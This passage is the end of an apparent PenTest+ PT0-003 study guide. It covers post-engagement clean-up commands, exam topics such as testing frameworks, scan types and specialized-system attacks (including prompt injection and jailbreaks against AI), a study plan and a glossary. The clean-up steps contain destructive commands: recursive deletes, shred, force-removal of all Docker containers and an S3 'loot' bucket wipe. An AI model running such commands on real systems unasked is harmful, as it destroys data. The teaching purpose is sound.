281. Remove cron, systemd and web-shell persistence

```
sudo rm /etc/cron.d/sysupdate; sudo systemctl disable --now sys-  
helper.service; sudo rm /var/www/html/.cache.php
```

282. Remove tester-created credentials and accounts

```
sudo userdel -r pt-backup; aws iam delete-access-key --user-name cg-starter  
--access-key-id AKIA...
```

283. Remove uploaded tools and staged data

```
sudo rm -f /tmp/linpeas.sh /tmp/pspy /tmp/.stage.enc /tmp/.stage.tgz; sudo  
rm -rf /tmp/.stage
```

284. Revert configuration changes to their original state

285. Spin down lab and cloud infrastructure

```
cd cloudgoat && ./cloudgoat.py destroy <scenario>; sudo docker rm -f $(sudo  
docker ps -aq)
```

286. Preserve artefacts with encryption and a hash

```
tar cJf acme-engagement.tar.xz .; gpg --symmetric --cipher-algo AES256  
acme-engagement.tar.xz; sha256sum acme-engagement.tar.xz.gpg > acme.sha256
```

287. Securely destroy working copies of client data

```
shred -vfz -n 5 acme-engagement.tar.xz.gpg; aws s3 rm s3://acme-loot --  
recursive
```

288. Complete and sign the final acceptance form

Test it

Confirm every persistence mechanism, credential and tool from the inventory is removed, systems are restored, and the artifact archive is encrypted, hashed and recorded with chain of custody.

Note: Full commands and screenshots are in labs/lab-37-*.md. Only run these techniques against systems you own or are authorised to test.

Exam Focus — Testing Frameworks, Scan Types and Specialized Systems

These cross-cutting topics are examined throughout PT0-003 but do not each have a dedicated hands-on lab. Study this section alongside the labs so you can answer the knowledge questions and the specialized-systems items on the exam.

Testing frameworks and methodologies (Objective 1.3)

A tester chooses a recognised methodology to make the engagement systematic, repeatable and defensible. Know what each is for:

- PTES (Penetration Testing Execution Standard) — the seven-phase pentest process (pre-engagement → intelligence gathering → threat modelling → vulnerability analysis → exploitation → post-exploitation → reporting).
- OSSTMM — the Open Source Security Testing Methodology Manual, for measurable, repeatable testing.

- OWASP Top 10 + WSTG (Web Security Testing Guide) for web apps, and OWASP MASVS for mobile apps.
- MITRE ATT&CK — a knowledge base of adversary tactics and techniques used to give findings a threat-realistic narrative.
- NIST SP 800-115 and CREST — recognised technical testing and accreditation standards.
- STRIDE and DREAD — threat-modelling frameworks; the Purdue model structures OT/ICS networks into levels.

Scan types — SAST, DAST, IAST and SCA (Objective 3.1)

- SAST (Static Application Security Testing) — analyses source code WITHOUT running it; used early in the SDLC, finds code-level flaws but yields more false positives.
- DAST (Dynamic Application Security Testing) — tests the RUNNING application from the outside (e.g. OWASP ZAP, Nikto); finds runtime and configuration issues but has no code visibility.
- IAST (Interactive AST) — instruments the running application to combine static and dynamic visibility.
- SCA (Software Composition Analysis) — inventories third-party/open-source dependencies and flags known-CVE components (e.g. Trivy, Gripe).
- Scans may be authenticated or unauthenticated, and extend to Infrastructure-as-Code and container images for full-stack coverage.

Specialized and emerging systems (Objective 4.9)

- Mobile — analyse apps with MobSF (static/dynamic), Frida (runtime instrumentation), Drozer and ADB; typical weaknesses are insecure data storage, hardcoded secrets/API keys, weak or missing certificate pinning and over-broad permissions; jailbreak/root to bypass client-side controls.
- IoT / OT / ICS — fragile protocols with little or no authentication (Modbus, DNP3, CAN bus); test with traffic capture, replay and register manipulation, and map the network with the Purdue model — but NEVER disrupt a safety-critical process; prefer passive/read-only techniques.
- AI / ML systems (new in PT0-003) — prompt injection (direct and indirect), model manipulation and data poisoning, jailbreaks / guardrail bypass, sensitive- or training-data extraction, and an insecure model supply chain.
- RF / NFC — wardriving, RFID/badge cloning, Bluejacking and Bluetooth attacks against physical and wireless entry points.
- Across all specialized systems, stay strictly within scope and the Rules of Engagement — they are fragile and often safety-relevant.

Exam Preparation

- First pass: complete every lab on Kali Linux, reading the References in each lab file.
- Second pass: redo the labs from memory until the tool workflow and flags are automatic.
- Review the 'Test it' check and the 'What you learned' bullets for any topic you find hard.
- Practise mapping each finding to a CVSS score, a CWE weakness and a MITRE ATT&CK technique.
- Sharpen exam readiness with the Tertiary Infotech PenTest+ practice exam: <https://exams.tertiaryinfotech.com/practice-exams/comptia/comptia-pentest-plus>
- Take the free CompTIA practice assessment for PT0-003 and sit the exam via a Pearson VUE test centre or online proctoring.

Glossary

- **Rules of Engagement (RoE)** — The signed authorisation defining scope, windows, allowed/forbidden actions and stop conditions.
- **Statement of Work (SoW)** — The contract defining targets, methodology, schedule, deliverables and fees for the engagement.
- **OSINT** — Open-Source Intelligence — information gathered from public sources without touching the target.
- **Enumeration** — Actively probing a target to list hosts, ports, services, users and shares.
- **CVSS** — Common Vulnerability Scoring System — a 0–10 severity score for a vulnerability.
- **CWE / EPSS** — Common Weakness Enumeration (weakness type) / Exploit Prediction Scoring System (exploit likelihood).
- **MITRE ATT&CK** — A knowledge base of adversary tactics and techniques used to map findings to real attacks.
- **Payload** — The code a delivered exploit runs — e.g. a reverse shell or Meterpreter session.
- **Privilege escalation** — Turning a low-privileged foothold into administrator/root control of a host.
- **Lateral movement** — Using captured credentials or hashes to move from one host to another across a network.
- **Pivoting** — Routing traffic through a compromised host to reach otherwise-unreachable internal networks.
- **Persistence** — Mechanisms (cron, services, keys, web shells) that keep access across reboots.